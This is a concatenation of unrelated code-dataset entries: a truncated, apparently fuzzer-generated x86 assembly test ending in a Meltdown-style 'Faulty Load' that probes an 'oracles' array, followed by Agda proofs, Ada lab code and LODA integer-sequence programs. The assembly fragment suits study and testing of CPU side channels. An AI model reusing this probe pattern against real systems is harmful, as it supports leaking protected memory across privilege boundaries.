nop
nop
sub $61618, %r11
movl $0x51525354, (%r12)
nop
add $43257, %r8
// Store
lea addresses_PSE+0x10534, %rdx
nop
nop
nop
nop
nop
xor $31121, %rsi
movw $0x5152, (%rdx)
and $40912, %rsi
// Store
lea addresses_A+0xfb14, %r8
add %r14, %r14
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movntdq %xmm1, (%r8)
nop
nop
nop
inc %rsi
// Store
lea addresses_WT+0x19f14, %r11
nop
nop
nop
nop
nop
sub %rsi, %rsi
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
sub %rsi, %rsi
// Faulty Load
mov $0x2dc4470000000714, %rbp
sub %r8, %r8
movups (%rbp), %xmm7
vpextrq $0, %xmm7, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbp
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/Numeric/Nat/LCM/Properties.agda | t-more/agda-prelude | 111 | 3838 | <reponame>t-more/agda-prelude
module Numeric.Nat.LCM.Properties where
open import Prelude
open import Numeric.Nat.Divide
open import Numeric.Nat.Divide.Properties
open import Numeric.Nat.LCM
is-lcm-unique : ∀ {m m₁ a b} → IsLCM m a b → IsLCM m₁ a b → m ≡ m₁
is-lcm-unique {m} {m₁} (is-lcm a|m b|m lm) (is-lcm a|m₁ b|m₁ lm₁) =
divides-antisym (lm m₁ a|m₁ b|m₁) (lm₁ m a|m b|m)
lcm-unique : ∀ {m a b} → IsLCM m a b → lcm! a b ≡ m
lcm-unique {a = a} {b} lm with lcm a b
... | lcm-res m₁ lm₁ = is-lcm-unique lm₁ lm
is-lcm-commute : ∀ {m a b} → IsLCM m a b → IsLCM m b a
is-lcm-commute (is-lcm a|m b|m g) = is-lcm b|m a|m (flip ∘ g)
lcm-commute : ∀ {a b} → lcm! a b ≡ lcm! b a
lcm-commute {a} {b} with lcm b a
... | lcm-res m lm = lcm-unique (is-lcm-commute lm)
private
_|>_ = divides-trans
lcm-assoc : ∀ a b c → lcm! a (lcm! b c) ≡ lcm! (lcm! a b) c
lcm-assoc a b c with lcm a b | lcm b c
... | lcm-res ab (is-lcm a|ab b|ab lab)
| lcm-res bc (is-lcm b|bc c|bc lbc) with lcm ab c
... | lcm-res ab-c (is-lcm ab|abc c|abc labc) =
lcm-unique {ab-c} {a} {bc}
(is-lcm (a|ab |> ab|abc)
(lbc ab-c (b|ab |> ab|abc) c|abc)
λ k a|k bc|k → labc k (lab k a|k (b|bc |> bc|k)) (c|bc |> bc|k))
|
courses/fundamentals_of_ada/labs/solar_system/050_array_types/src/main.adb | AdaCore/training_material | 15 | 519 | <reponame>AdaCore/training_material<gh_stars>10-100
-----------------------------------------------------------------------
-- Ada Labs --
-- --
-- Copyright (C) 2008-2009, AdaCore --
-- --
-- Labs is free software; you can redistribute it and/or modify it --
-- under the terms of the GNU General Public License as published by --
-- the Free Software Foundation; either version 2 of the License, or --
-- (at your option) any later version. --
-- --
-- This program is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- General Public License for more details. You should have received --
-- a copy of the GNU General Public License along with this program; --
-- if not, write to the Free Software Foundation, Inc., 59 Temple --
-- Place - Suite 330, Boston, MA 02111-1307, USA. --
-----------------------------------------------------------------------
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Real_Time; use Ada.Real_Time;
with Display; use Display;
with Display.Basic; use Display.Basic;
with Libm_Single; use Libm_Single;
procedure Main is
-- QUESTION 1 - Part 1
-- define type Bodies_Enum_T as an enumeration of Sun, Earth, Moon, Satellite
-- define type Parameters_Enum_T as an enumeration of parameter X, Y,
-- Radius, Speed, Distance, Angle
-- define type Bodies_Array_T as an array of float indexed by bodies and
-- parameters
-- define type Colors_Array_T as an array of color (RGBA_T) indexed by bodies
-- declare variable Bodies which is an instance of Bodies_Array_T
-- declare variable Colors which is an instance of Colors_Array_T
-- declare a variable Next of type Time to store the Next step time
Next : Time;
-- declare a constant Period of 40 milliseconds of type Time_Span defining
-- the loop period
Period : constant Time_Span := Milliseconds (40);
-- reference to the application window
Window : Window_ID;
-- reference to the graphical canvas associated with the application window
Canvas : Canvas_ID;
begin
-- Create a window 240x320
Window :=
Create_Window (Width => 240, Height => 320, Name => "Solar System");
-- Retrieve the graphical canvas from the window
Canvas := Get_Canvas (Window);
-- QUESTION 1 - Part 2
-- initialize Bodies variable with parameters for each body using an aggregate
-- Sun Distance = 0.0, Angle = 0.0, Speed = 0.0, Radius = 20.0;
-- Earth Distance = 50.0, Angle = 0.0, Speed = 0.02, Radius = 5.0;
-- Moon Distance = 15.0, Angle = 0.0, Speed = 0.04, Radius = 2.0;
-- Satellite Distance = 8.0, Angle = 0.0, Speed = 0.1, Radius = 1.0;
-- QUESTION 1 - Part 3
-- initialize Colors variable with Sun is Yellow, Earth is Blue, Moon is
-- White, Satellite is Red
-- initialize the Next step time begin the current time (Clock) + the period
Next := Clock + Period;
while not Is_Killed loop
-- QUESTION 2 - part 1
-- create a loop to update each body position and angles
-- the position of an object around (0,0) at distance d with an angle a
-- is (d*cos(a), d*sin(a))
-- update angle parameter of each body adding speed to the previous angle
-- QUESTION 2 - part 2
-- create a loop to draw every objects
-- use the Draw_Sphere procedure to do it
-- update the screen using procedure Swap_Buffers
Swap_Buffers (Window);
-- wait until Next
delay until Next;
-- update the Next time adding the period for the next step
Next := Next + Period;
end loop;
end Main;
|
test/Fail/Issue199.agda | cruhland/agda | 1,989 | 11828 | <filename>test/Fail/Issue199.agda
-- There was a bug when unifying things of function type during pattern matching
-- (the T argument to P is unified with D below)
module Issue199 where
data D (A : Set) : Set where
data P {A : Set} : {T : Set → Set} → T A → Set where
p : ∀ d → P {_} {D} d
foo : ∀ {A} {l : D A} → P l → Set₁
foo (p _) = Set
|
src/asf-components-html-links.ads | jquorning/ada-asf | 12 | 906 | <reponame>jquorning/ada-asf<gh_stars>10-100
-----------------------------------------------------------------------
-- html-links -- ASF HTML Links Components
-- Copyright (C) 2009, 2010, 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package ASF.Components.Html.Links is
-- ------------------------------
-- Output Link Component
-- ------------------------------
type UIOutputLink is new UIHtmlComponent with private;
-- Get the link to be rendered in the <b>href</b> attribute.
function Get_Link (UI : in UIOutputLink;
Context : in Faces_Context'Class) return String;
-- Get the value to write on the output.
function Get_Value (UI : in UIOutputLink) return EL.Objects.Object;
-- Set the value to write on the output.
procedure Set_Value (UI : in out UIOutputLink;
Value : in EL.Objects.Object);
-- Encode the begining of the link.
procedure Encode_Begin (UI : in UIOutputLink;
Context : in out Faces_Context'Class);
-- Encode the end of the link.
procedure Encode_End (UI : in UIOutputLink;
Context : in out Faces_Context'Class);
private
type UIOutputLink is new UIHtmlComponent with record
Value : EL.Objects.Object;
end record;
end ASF.Components.Html.Links;
|
oeis/131/A131901.asm | neoneye/loda-programs | 11 | 9447 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A131901: 2*A002024 - A131821.
; Submitted by <NAME>
; 1,2,2,3,5,3,4,7,7,4,5,9,9,9,5,6,11,11,11,11,6,7,13,13,13,13,13,7,8,15,15,15,15,15,15,8,9,17,17,17,17,17,17,17,9,10,19,19,19,19,19,19,19,19,10
lpb $0
add $2,1
sub $0,$2
lpe
add $0,$2
lpb $0
mul $2,2
gcd $0,$2
lpe
mov $0,$2
add $0,1
|
programs/oeis/173/A173508.asm | jmorken/loda | 1 | 10346 | <filename>programs/oeis/173/A173508.asm
; A173508: a(n) = ceiling(A173497(n)/2).
; 1,1,1,2,2,3,4,6,8,11,15,20,28,38,52,71,97,132,181,247,337,461,629,860,1174,1604,2191,2993,4089,5585,7630,10422,14237,19448,26567,36291,49574,67720,92507,126367,172620,235804,322114
sub $0,1
mov $2,6
mov $4,2
lpb $0
sub $0,1
mov $3,$2
add $2,$1
sub $2,$1
add $2,$4
div $3,2
add $4,1
mov $1,$4
sub $2,1
mov $4,$3
lpe
mul $1,2
trn $1,6
div $1,2
add $1,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.